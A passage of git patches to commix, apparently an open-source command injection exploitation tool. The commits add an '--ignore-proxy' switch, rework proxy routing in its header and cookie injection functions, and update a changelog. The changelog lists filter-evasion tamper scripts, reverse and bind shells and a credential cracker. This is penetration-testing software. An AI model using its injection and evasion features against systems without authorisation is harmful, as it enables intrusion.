= _urllib.request.build_opener() - else: - opener = _urllib.request.build_opener(proxy) - + def inject_custom_header(url, vuln_parameter, payload): # Check if defined POST data if menu.options.data: menu.options.data = settings.USER_DEFINED_POST_DATA @@ -684,7 +629,13 @@ def inject_custom_header(url, vuln_parameter, payload, proxy): request.add_header(settings.CUSTOM_HEADER_NAME, settings.CUSTOM_HEADER_VALUE + payload) try: headers.check_http_traffic(request) - response = opener.open(request) + if menu.options.proxy: + response = proxy.use_proxy(request) + # Check if defined Tor (--tor option). + elif menu.options.tor: + response = tor.use_tor(request) + else: + response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) return response except ValueError: pass @@ -694,24 +645,10 @@ def inject_custom_header(url, vuln_parameter, payload, proxy): end = 0 start = time.time() - proxy = None - if menu.options.proxy: - try: - proxy = _urllib.request.ProxyHandler({settings.SCHEME : menu.options.proxy}) - response = inject_custom_header(url, vuln_parameter, payload, proxy) - except Exception as err_msg: - response = request_failed(err_msg) - elif menu.options.tor: - try: - proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT}) - response = inject_custom_header(url, vuln_parameter, payload, proxy) - except Exception as err_msg: - response = request_failed(err_msg) - else: - try: - response = inject_custom_header(url, vuln_parameter, payload, proxy) - except Exception as err_msg: - response = request_failed(err_msg) + try: + response = inject_custom_header(url, vuln_parameter, payload) + except Exception as err_msg: + response = request_failed(err_msg) if settings.TIME_RELATIVE_ATTACK : end = time.time() diff --git a/src/utils/settings.py b/src/utils/settings.py index a91ffa0091..d0b133537f 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "9" +REVISION = "10" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 9d5f3de0661576d56619e52d50490a03825ba8b4 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 27 Oct 2023 08:13:31 +0300 Subject: [PATCH 348/560] Added new switch `--ignore-proxy` to ignore the system default HTTP proxy. --- doc/CHANGELOG.md | 1 + .../techniques/file_based/fb_injector.py | 2 +- src/core/main.py | 9 +++++++-- src/core/modules/shellshock/shellshock.py | 4 ++-- src/core/requests/authentication.py | 2 +- src/core/requests/proxy.py | 7 ++++++- src/core/requests/requests.py | 16 ++++++++-------- src/utils/menu.py | 6 ++++++ src/utils/settings.py | 2 +- 9 files changed, 33 insertions(+), 16 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index d6de249a72..cc3f735f09 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.9 (TBA) +* Added: New switch `--ignore-proxy` to ignore the system default HTTP proxy. * Revised: Minor improvement regarding parsing HTTP requests through HTTP proxy (i.e `--proxy` option). * Added: New switch `--smart` for conducting through tests only in case of positive heuristic(s). * Revised: Minor improvement regarding parsing SOAP/XML POST data. diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index 78ac91973d..5b4ee4c82a 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -326,7 +326,7 @@ def injection_results(url, OUTPUT_TEXTFILE, timesec): headers.do_check(request) headers.check_http_traffic(request) # Check if defined any HTTP Proxy (--proxy option). - if menu.options.proxy: + if menu.options.proxy or menu.options.ignore_proxy: response = proxy.use_proxy(request) # Check if defined Tor (--tor option). elif menu.options.tor: diff --git a/src/core/main.py b/src/core/main.py index 918fe342c7..8c3fe2c0d9 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -111,7 +111,7 @@ def examine_request(request, url): try: headers.check_http_traffic(request) # Check if defined any HTTP Proxy (--proxy option). - if menu.options.proxy: + if menu.options.proxy or menu.options.ignore_proxy: return proxy.use_proxy(request) # Check if defined Tor (--tor option). elif menu.options.tor: @@ -190,7 +190,7 @@ def init_request(url): if menu.options.auth_cred and menu.options.auth_type and settings.VERBOSITY_LEVEL != 0 : debug_msg = "Setting the HTTP authentication type and credentials." print(settings.print_debug_msg(debug_msg)) - if menu.options.proxy: + if menu.options.proxy: proxy.do_check() if settings.VERBOSITY_LEVEL != 0: debug_msg = "Creating " + str(settings.SCHEME).upper() + " requests opener object." @@ -648,6 +648,11 @@ def main(filename, url): print(settings.print_critical_msg(err_msg)) raise SystemExit() + if menu.options.ignore_proxy: + err_msg = "The option '--proxy' is incompatible with switch '--ignore-proxy'." + print(settings.print_critical_msg(err_msg)) + raise SystemExit() + for match in re.finditer(settings.PROXY_REGEX, menu.options.proxy): _, proxy_scheme, proxy_address, proxy_port = match.groups() if proxy_scheme: diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index ec69042e21..c7f34e2f53 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -313,7 +313,7 @@ def shellshock_handler(url, http_request_method, filename): log_http_headers.do_check(request) log_http_headers.check_http_traffic(request) # Check if defined any HTTP Proxy. - if menu.options.proxy: + if menu.options.proxy or menu.options.ignore_proxy: response = proxy.use_proxy(request) # Check if defined Tor. elif menu.options.tor: @@ -562,7 +562,7 @@ def check_for_shell(url, cmd, cve, check_header, filename): log_http_headers.do_check(request) log_http_headers.check_http_traffic(request) # Check if defined any HTTP Proxy. - if menu.options.proxy: + if menu.options.proxy or menu.options.ignore_proxy: response = proxy.use_proxy(request) # Check if defined Tor. elif menu.options.tor: diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py index 04670565a0..63b8e77ca6 100644 --- a/src/core/requests/authentication.py +++ b/src/core/requests/authentication.py @@ -175,7 +175,7 @@ def http_auth_cracker(url, realm): headers.do_check(request) headers.check_http_traffic(request) # Check if defined any HTTP Proxy (--proxy option). - if menu.options.proxy: + if menu.options.proxy or menu.options.ignore_proxy: proxy.use_proxy(request) # Check if defined Tor (--tor option). elif menu.options.tor: diff --git a/src/core/requests/proxy.py b/src/core/requests/proxy.py index 43e31583fe..b6d707c0c9 100644 --- a/src/core/requests/proxy.py +++ b/src/core/requests/proxy.py @@ -29,7 +29,12 @@ """ def use_proxy(request): try: - request.set_proxy(menu.options.proxy, settings.PROXY_SCHEME) + if menu.options.ignore_proxy: + proxy = _urllib.request.ProxyHandler({}) + opener = _urllib.request.build_opener(proxy) + _urllib.request.install_opener(opener) + else: + request.set_proxy(menu.options.proxy, settings.PROXY_SCHEME) return _urllib.request.urlopen(request, timeout=settings.TIMEOUT) except Exception as err_msg: return requests.request_failed(err_msg) diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index a983c343e4..cbc5c8d47b 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -52,7 +52,7 @@ def crawler_request(url): request = _urllib.request.Request(url) headers.do_check(request) headers.check_http_traffic(request) - if menu.options.proxy: + if menu.options.proxy or menu.options.ignore_proxy: response = proxy.use_proxy(request) elif menu.options.tor: response = tor.use_tor(request) @@ -291,7 +291,7 @@ def request_failed(err_msg): elif any(x in str(error_msg).lower() for x in ["connection refused", "timeout"]): settings.MAX_RETRIES = 1 err = "Unable to connect to the target URL" - if menu.options.proxy: + if menu.options.proxy or menu.options.ignore_proxy: err += " or proxy" err = err + " (Reason: " + str(error_msg) + "). " if settings.MULTI_TARGETS or settings.CRAWLING: @@ -386,7 +386,7 @@ def request_failed(err_msg): def get_request_response(request): headers.check_http_traffic(request) - if menu.options.proxy: + if menu.options.proxy or menu.options.ignore_proxy: try: response = proxy.use_proxy(request) except Exception as err_msg: @@ -430,7 +430,7 @@ def inject_cookie(url, vuln_parameter, payload): request.add_header('Cookie', menu.options.cookie.replace(settings.INJECT_TAG, payload)) try: headers.check_http_traffic(request) - if menu.options.proxy: + if menu.options.proxy or menu.options.ignore_proxy: response = proxy.use_proxy(request) # Check if defined Tor (--tor option). elif menu.options.tor: @@ -477,7 +477,7 @@ def inject_user_agent(url, vuln_parameter, payload): request.add_header('User-Agent', payload) try: headers.check_http_traffic(request) - if menu.options.proxy: + if menu.options.proxy or menu.options.ignore_proxy: response = proxy.use_proxy(request) # Check if defined Tor (--tor option). elif menu.options.tor: @@ -524,7 +524,7 @@ def inject_referer(url, vuln_parameter, payload): request.add_header('Referer', payload) try: headers.check_http_traffic(request) - if menu.options.proxy: + if menu.options.proxy or menu.options.ignore_proxy: response = proxy.use_proxy(request) # Check if defined Tor (--tor option). elif menu.options.tor: @@ -579,7 +579,7 @@ def inject_host(url, vuln_parameter, payload): request.add_header('Host', payload) try: headers.check_http_traffic(request) - if menu.options.proxy: + if menu.options.proxy or menu.options.ignore_proxy: response = proxy.use_proxy(request) # Check if defined Tor (--tor option). elif menu.options.tor: @@ -629,7 +629,7 @@ def inject_custom_header(url, vuln_parameter, payload): request.add_header(settings.CUSTOM_HEADER_NAME, settings.CUSTOM_HEADER_VALUE + payload) try: headers.check_http_traffic(request) - if menu.options.proxy: + if menu.options.proxy or menu.options.ignore_proxy: response = proxy.use_proxy(request) # Check if defined Tor (--tor option). elif menu.options.tor: diff --git a/src/utils/menu.py b/src/utils/menu.py index 732b56be58..d679f62fc3 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -296,6 +296,12 @@ def banner(): default=False, help="Force usage of SSL/HTTPS.") +request.add_option("--ignore-proxy", + action="store_true", + dest="ignore_proxy", + default=False, + help="Ignore system default proxy settings.") + request.add_option("--ignore-redirects", action="store_true", dest="ignore_redirects", diff --git a/src/utils/settings.py b/src/utils/settings.py index d0b133537f..72523ee3ed 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "10" +REVISION = "11" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 531f1e3ac6647f1801b962bb63dc16e27d7705d2 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 29 Oct 2023 09:08:03 +0200 Subject: [PATCH 349/560] Minor update regarding localhost/global proxy --- src/core/main.py | 4 ++++ src/utils/settings.py | 2 +- 2 files changed, 5 insertions(+), 1 deletion(-) diff --git a/src/core/main.py b/src/core/main.py index 8c3fe2c0d9..436277bda4 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -641,6 +641,10 @@ def main(filename, url): if menu.options.answers: settings.ANSWERS = menu.options.answers + if not menu.options.proxy: + if _urllib.parse.urlparse(menu.options.url).hostname in ("localhost", "127.0.0.1") or menu.options.ignore_proxy: + menu.options.ignore_proxy = True + # Check if defined "--proxy" option. if menu.options.proxy: if menu.options.tor: diff --git a/src/utils/settings.py b/src/utils/settings.py index 72523ee3ed..7f2387ac29 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "11" +REVISION = "12" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 75057e282657697be201a197ef52e0987b5338d5 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 30 Oct 2023 08:37:06 +0200 Subject: [PATCH 350/560] Potential fix for https://github.com/commixproject/commix/issues/859 --- src/core/injections/controller/checks.py | 9 +++++++-- src/utils/settings.py | 2 +- 2 files changed, 8 insertions(+), 3 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 9575cfacec..ac8c951fca 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -39,6 +39,7 @@ from src.core.requests import requests from src.thirdparty.six.moves import input as _input from src.thirdparty.six.moves import urllib as _urllib +from src.thirdparty.six.moves import http_client as _http_client from src.thirdparty.colorama import Fore, Back, Style, init from src.thirdparty.flatten_json.flatten_json import flatten, unflatten_list @@ -442,8 +443,11 @@ def newline_fixation(payload): Page enc/decoding """ def page_encoding(response, action): - _ = False - page = response.read() + try: + page = response.read() + except _http_client.IncompleteRead as err_msg: + requests.request_failed(err_msg) + page = err_msg.partial if response.info().get('Content-Encoding') in ("gzip", "x-gzip", "deflate"): try: if response.info().get('Content-Encoding') == 'deflate': @@ -458,6 +462,7 @@ def page_encoding(response, action): warn_msg = "Turning off page compression." print(settings.print_warning_msg(warn_msg)) settings.PAGE_COMPRESSION = False + _ = False try: if action == "encode" and type(page) == str: return page.encode(settings.DEFAULT_CODEC, errors="ignore") diff --git a/src/utils/settings.py b/src/utils/settings.py index 7f2387ac29..82552ec0f3 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "12" +REVISION = "13" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From ebd5e5a434d22192d50e8c875254429d39a2c10d Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 2 Nov 2023 08:18:16 +0200 Subject: [PATCH 351/560] Minor update --- src/core/requests/requests.py | 16 +++++++++++----- src/utils/settings.py | 2 +- 2 files changed, 12 insertions(+), 6 deletions(-) diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index cbc5c8d47b..7f492d08d3 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -337,17 +337,23 @@ def request_failed(err_msg): error_msg = "Connection was forcibly closed by the target URL." elif [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(error_msg)]: status_code = [err_code for err_code in settings.HTTP_ERROR_CODES if err_code in str(error_msg)] - warn_msg = "The web server responded with an HTTP error code '" + str(status_code[0]) + "' which could interfere with the results of the tests." + warn_msg = "The web server responded with an HTTP error code '" + str(status_code[0]) + warn_msg += "' which could interfere with the results of the tests." print(settings.print_warning_msg(warn_msg)) if not settings.NOT_FOUND_ERROR in str(err_msg).lower(): return False return True else: - error_msg = "The provided target URL seems not reachable. " - error_msg += "In case that it is, please try to re-run using " + error_msg = "The provided target URL seems not reachable." + items = [] if not menu.options.random_agent: - error_msg += "'--random-agent' switch and/or " - error_msg += "'--proxy' option." + items.append("'--random-agent' switch") + if not any((menu.options.proxy, menu.options.ignore_proxy, menu.options.tor)): + items.append("proxy switches ('--proxy', '--ignore-proxy'...).") + if items: + error_msg += "In case that it is, " + error_msg += "you can try to rerun with " + error_msg += " and/or ".join(items) print(settings.print_critical_msg(error_msg)) if not settings.CRAWLING: raise SystemExit() diff --git a/src/utils/settings.py b/src/utils/settings.py index 82552ec0f3..2de72c29b4 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "13" +REVISION = "14" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 87cdd307368819aa5b2548159c8298ce48c32421 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 6 Nov 2023 08:16:01 +0200 Subject: [PATCH 352/560] Update CHANGELOG.md --- doc/CHANGELOG.md | 205 ++++++++++++++++++++++++----------------------- 1 file changed, 104 insertions(+), 101 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index cc3f735f09..dee9dbff1d 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,22 +1,24 @@ ## Version 3.9 (TBA) * Added: New switch `--ignore-proxy` to ignore the system default HTTP proxy. -* Revised: Minor improvement regarding parsing HTTP requests through HTTP proxy (i.e `--proxy` option). +* Revised: Minor improvement regarding parsing HTTP requests through HTTP proxy (i.e. `--proxy` option). * Added: New switch `--smart` for conducting through tests only in case of positive heuristic(s). +* Added: Translation for [README.md](https://github.com/commixproject/commix/blob/master/doc/translations/README-tr-TR.md) in Turkish (via @Kazgangap) * Revised: Minor improvement regarding parsing SOAP/XML POST data. ## Version 3.8 (2023-08-14) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Revised: Minor improvement regarding parsing raw HTTP request from a file (i.e. `-r` option). * Revised: Minor improvement regarding dynamic code evaluation technique (i.e. command execution output). +* Added: Translation for [README.md](https://github.com/commixproject/commix/blob/master/doc/translations/README-fa-FA.md) in Farsi(Persian) (via @verfosec) * Fixed: Minor bug-fix regarding `--skip-empty` flag, for skipping the testing of the parameter(s) with empty value(s). * Revised: Minor improvement regarding tamper script "uninitializedvariable.py", for adding randomly generated uninitialized bash variables between the characters of each command of the generated payloads. * Revised: Minor improvement regarding skipping further tests involving target that an injection point has already been detected. * Revised: Minor code refactoring regarding multiple tamper scripts (i.e. "backslashes.py", "dollaratsigns.py", "doublequotes.py", "singlequotes.py", "uninitializedvariable.py"). -* Added: New tamper script "rev.py" that reverses (characterwise) the user-supplied operating system commands (for *nix targets). +* Added: New tamper script "rev.py" that reverses (characterwise) the user-supplied operating system commands (for \*nix targets). * Fixed: Minor bug-fix regarding checking for similarity in provided parameter(s) name(s) and value(s). * Fixed: Minor bug-fix regarding forcing usage of SSL/HTTPS requests toward the target (i.e. `--force-ssl` flag). -* Fixed: Minor bug-fix regarding setting custom output directory path (i.e `--output-dir` option). -* Added: Support for "Bearer" HTTP authentication type. +* Fixed: Minor bug-fix regarding setting custom output directory path (i.e. `--output-dir` option). +* Added: Support for `Bearer` HTTP authentication type. * Revised: Minor improvement regarding tamper script "xforwardedfor.py" (that appends a fake HTTP header `X-Forwarded-For`). * Fixed: Minor bug-fix regarding not ignoring specified injection technique(s) when `--ignore-session` or `--flush-session` options are set. * Replaced: The `--dependencies` option has been replaced with `--ignore-dependencies`, regarding ignoring all required third-party library dependencies. @@ -26,13 +28,14 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ ## Version 3.7 (2023-02-17) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. -* Revised: Improvements regarding parsing HTTP requests through HTTP proxy (i.e `--proxy` option). +* Added: Translation for [README.md](https://github.com/commixproject/commix/blob/master/doc/translations/README-idn-IDN.md) in Indonesian (via @galihap76) +* Revised: Improvements regarding parsing HTTP requests through HTTP proxy (i.e. `--proxy` option). * Revised: Improvements regarding identifying injection marker (i.e. asterisk `*`) in provided parameter values (e.g. GET, POST or HTTP headers). -* Added: New option ` --crawl-exclude` regarding setting regular expression for excluding pages from crawling (e.g. "logout"). +* Added: New option ` --crawl-exclude` regarding setting regular expression for excluding pages from crawling (e.g. `logout`). * Revised: Improvement regarding `--crawl` option, for skipping further tests involving target that an injection point has already been detected. -* Added: Support regarding combining `--crawl` option with scanning multiple targets given from piped-input (i.e. stdin). +* Added: Support regarding combining `--crawl` option with scanning multiple targets given from piped-input (i.e. `stdin`). * Revised: Minor improvement regarding adding PCRE `/e` modifier (i.e. dynamic code evaluation technique). -* Revised: Minor bug-fix regarding logging all HTTP traffic into a textual file (i.e `-t` option). +* Revised: Minor bug-fix regarding logging all HTTP traffic into a textual file (i.e. `-t` option). _Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.6...v3.7)._ @@ -42,7 +45,7 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ * Revised: Minor improvement regarding session handler. * Revised: Minor improvement regarding `--wizard` option. * Added: New tamper script "printf2echo.py" that replaces the printf-based ASCII to Decimal `printf "%d" "'$char'"` with `echo -n $char | od -An -tuC | xargs`. -* Revised: Minor improvement regarding parsing HTTP requests through HTTP proxy (i.e `--proxy` option). +* Revised: Minor improvement regarding parsing HTTP requests through HTTP proxy (i.e. `--proxy` option). * Revised: Minor improvement regarding handling HTTP Error 401 (Unauthorized). _Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.5...v3.6)._ @@ -54,18 +57,18 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ * Removed: The depricated modules "ICMP exfiltration" and "DNS exfiltration" have been removed. * Revised: Improvement regarding identifying injection marker (i.e. asterisk) in provided options. * Revised: Improvement regarding shellshock module. -* Added: Support regarding parsing target(s) from piped-input (i.e. stdin). +* Added: Support regarding parsing target(s) from piped-input (i.e. `stdin`). * Added: New option `--answers` to set user answers to asked questions during commix run. * Added: Support regarding combining `--crawl` option with scanning multiple targets given in a textual file (i.e. via option `-m`). * Added: Support for normalizing crawling results. * Revised: Improvement regarding crawler. * Revised: Minor bug-fix regarding `--file-upload` option. -* Revised: Minor improvement regarding identifying 'hex' and/or 'base64' encoded parameter(s) value(s). +* Revised: Minor improvement regarding identifying `Hex` and/or `Base64` encoded parameter(s) value(s). * Added: New option `--no-logging` for disabling logging to a file. * Revised: Minor improvement regarding redirect handler. * Updated: Minor update regarding scanning multiple targets given in a textual file (i.e. via option `-m`). * Added: Support for heuristic detection regarding command injections. -* Revised: Ιmprovement regarding `--level` option, which not only adds more injection points (i.e Cookies, HTTP headers) but also performs more tests for each injection point. +* Revised: Ιmprovement regarding `--level` option, which not only adds more injection points (i.e. Cookies, HTTP headers) but also performs more tests for each injection point. * Revised: Improvement regarding injecting into custom HTTP Header(s). _Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.4...v3.5)._ @@ -75,7 +78,7 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ * Fixed: Bug-fix regarding forcing usage of provided HTTP method (e.g. `PUT`). * Fixed: Bug-fix regarding parsing raw HTTP headers from a file (i.e. `-r` option). * Fixed: Minor bug-fix regarding parsing JSON objects. -* Added: New option ( `--drop-set-cookie`) for ignoring Set-Cookie header from response. +* Added: New option `--drop-set-cookie` for ignoring `Set-Cookie` HTTP header from response. * Added: Support for checking for not declared cookie(s). * Added: New (hidden) option `--smoke-test` that runs the basic smoke testing. * Revised: Improvement regarding mechanism which nagging if used "dev" version is > 30 days old. @@ -90,36 +93,36 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ * Removed: The "Regsvr32.exe application whitelisting bypass" attack vector has been removed. * Updated: Minor update regarding web delivery script (i.e. Python meterpreter reverse TCP shell). * Replaced: The `--backticks` switch has been replaced with "backticks.py" tamper script. -* Added: New tamper script "backticks.py" that uses backticks instead of "$()", for commands substitution. (for *nix targets). +* Added: New tamper script "backticks.py" that uses backticks instead of `$()`, for commands substitution (for \*nix targets). * Added: New option ( `--skip-heuristic`) for skipping dynamic code evaluation heuristic check. -* Added: Support for parsing custom wordlists regarding HTTP authentication (Basic / Digest) dictionary-based cracker. +* Added: Support for parsing custom wordlists regarding HTTP authentication (i.e. `Basic`, `Digest`) dictionary-based cracker. * Revised: Improvements regarding dynamic code evaluation heuristic check. * Fixed: Minor bug-fix regarding parsing SOAP/XML data via `--data` option. * Revised: Minor improvement regarding parsing GraphQL JSON objects. -* Added: The .bat files command separator (i.e. ["%1a"](http://seclists.org/fulldisclosure/2016/Nov/67)) has been added. +* Added: The .bat files command separator (i.e. [`%1a`](http://seclists.org/fulldisclosure/2016/Nov/67)) has been added. * Added: New option `--method` to force usage of provided HTTP method (e.g. `PUT`). _Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.2...v3.3)._ ## Version 3.2 (2021-04-12) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. -* Added: New tamper script "slash2env.py" that replaces slashes ("/") with environment variable value "${PATH%%u*}" (for *nix targets). +* Added: New tamper script "slash2env.py" that replaces slashes (`/`) with environment variable value `${PATH%%u*}` (for \*nix targets). * Revised: Minor improvement regarding session handler for supporting Python 3.4+. * Revised: Minor improvement regarding `--web-root` option. -* Added: New tamper script "uninitializedvariable.py" that adds uninitialized bash variables between the characters of each command of the generated payloads (for *nix targets). +* Added: New tamper script "uninitializedvariable.py" that adds uninitialized bash variables between the characters of each command of the generated payloads (for \*nix targets). * Revised: Improvement regarding decompressing `deflate`, `x-gzip` and `gzip` HTTP responses. * Fixed: Bug-fix regarding several charset-related unhandled exceptions. * Revised: Improvements regarding dynamic code evaluation heuristic check. -* Fixed: Bug-fix regarding HTTP authentication (Basic / Digest) dictionary-based cracker. +* Fixed: Bug-fix regarding HTTP authentication (i.e. `Basic`, `Digest`) dictionary-based cracker. * Fixed: Bug-fix regarding logging all HTTP traffic into a textual file. * Revised: Improvement regarding crawler. * Fixed: Multiple bug-fixes regarding supporting Python 3.9. * Revised: Improvement regarding mechanism which nagging if used version is > 30 days old. * Fixed: Multiple bug-fixes regarding the shellshock module. -* Revised: Improvement regarding Python 3.4+ for using the "html.unescape()" function for converting HTML entities to plain-text representations. +* Revised: Improvement regarding Python 3.4+ for using the `html.unescape()` function for converting HTML entities to plain-text representations. * Updated: Minor update regarding smartphones to imitate, through HTTP User-Agent header. * Fixed: Bug-fix regarding setting suitable HTTP header User-Agent, when combining `--random-agent` or `--mobile` switch with `-r` option. -* Fixed: Bug-fix regarding "hex" encoding/decoding. +* Fixed: Bug-fix regarding `Hex` encoding/decoding. * Added: New option ( `--timeout`) for setting a number of seconds to wait before timeout connection (default 30). * Revised: Increased default timeout to 30 seconds. * Fixed: Bug-fix regarding Basic HTTP authentication. @@ -130,7 +133,7 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ ## Version 3.1 (2020-06-17) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Added: A script "setup.py" has been added (i.e. easier installation). -* Revised: Improvement regarding checking if the provided value has boundaries (e.g. 'param=/value/'). +* Revised: Improvement regarding checking if the provided value has boundaries (e.g. `param=/value/`). * Revised: Improvement regarding dynamic code evaluation technique's heuristic checks. * Revised: Improvement regarding identifying the indicated web-page charset. * Revised: Minor improvement regarding verbose mode (i.e. debug messages). @@ -139,7 +142,7 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ * Fixed: Bug-fix regarding defining wildcard character `*` in nested JSON objects. * Revised: Minor improvement regarding Flatten_json (third party) module. * Revised: Minor improvement regarding parsing nested JSON objects. -* Added: New tamper script "doublequotes.py" that adds double-quotes ("") between the characters of the generated payloads (for *nix targets). +* Added: New tamper script "doublequotes.py" that adds double-quotes (`""`) between the characters of the generated payloads (for \*nix targets). * Fixed: Bug-fix regarding parsing raw HTTP headers from a file (i.e. `-r` option). * Revised: Improvements regarding data in the detailed message about occurred unhandled exception. * Revised: Minor bug-fixes and improvements regarding HTTP authentication dictionary-based cracker. @@ -161,15 +164,15 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ ## Version 2.9 (2019-06-26) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Fixed: Bug-fix regarding parsing hostname and port from URL. -* Revised: Improvement regarding automatically decoding "deflate" and "gzip" HTTP responses. -* Fixed: Bug-fix regarding parsing HTTP header values that contain multiple ":". +* Revised: Improvement regarding automatically decoding `deflate` and `gzip` HTTP responses. +* Fixed: Bug-fix regarding parsing HTTP header values that contain multiple `":"`. * Revised: Improvement regarding updating "Content-Length" HTTP header, in case it's provided by user (i.e. `-r`, `--header`, `--header` options). * Revised: Improvement regarding parsing raw HTTP headers from a file (i.e. `-r` option). * Revised: Improvement regarding parsing nested JSON objects. * Added: Flatten_json (third party) module has been added. * Revised: Bug-fixes and improvements regarding parsing JSON objects. -* Added: GPL Cooperation Commitment (COMMITMENT.txt) has been added. -* Updated: Minor update regarding HTTP authentication (Basic / Digest). +* Added: GPL Cooperation Commitment ([COMMITMENT.txt](https://github.com/commixproject/commix/blob/master/COMMITMENT.txt)) has been added. +* Updated: Minor update regarding HTTP authentication (i.e. `Basic`, `Digest`). * Revised: Minor improvements regarding preventing false negative results, due to parameters tampering during the detection phase. * Revised: Minor improvements regarding "reverse_tcp" and "bind_tcp" shell options. @@ -180,7 +183,7 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ * Updated: Minor update regarding accepting overly long result lines. * Revised: Minor bug-fixes and improvements regarding `--file-upload` option. * Revised: Minor bug-fixes and improvements regarding HTTP authentication dictionary-based cracker. -* Revised: Minor bug-fixes and improvements regarding HTTP authentication (Basic / Digest). +* Revised: Minor bug-fixes and improvements regarding HTTP authentication (i.e. `Basic`, `Digest`). * Fixed: Minor bug-fix regarding ignoring HTTP Error 401 (Unauthorized) (for `--ignore-401` option). * Added: Support for writing crawling results to a temporary file (for eventual further processing with other tools). * Added: Support for Windows "Python" on "reverse_tcp" shell option. @@ -197,7 +200,7 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ * Revised: Minor update of redirection mechanism. * Revised: Minor improvement regarding identifying the target web server. * Revised: Minor improvement regarding identifying corrupted .pyc file(s). -* Added: New tamper script "dollaratsigns.py" that adds dollar-sign followed by an at-sign ("$@") between the characters of the generated payloads. +* Added: New tamper script "dollaratsigns.py" that adds dollar-sign followed by an at-sign (`$@`) between the characters of the generated payloads. * Fixed: Bug-fix regarding proxying SSL/TLS requests. * Revised: Minor improvement regarding checking for potentially miswritten (illegal '=') short option. * Revised: Minor improvement regarding checking for illegal (non-console) quote and comma characters. @@ -206,7 +209,7 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ * Updated: Beautiful Soup (third party) module has been updated. * Added: New tamper script "xforwardedfor.py" that appends a fake HTTP header `X-Forwarded-For`. * Fixed: Minor bug-fix regarding loading tamper scripts. -* Revised: Minor improvement regarding "INJECT_HERE" tag (i.e. declaring injection position) to be case insensitive. +* Revised: Minor improvement regarding `INJECT_HERE` tag (i.e. declaring injection position) to be case insensitive. _Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.6-20180921...v2.7-20181218)._ @@ -216,13 +219,13 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ * Added: New option 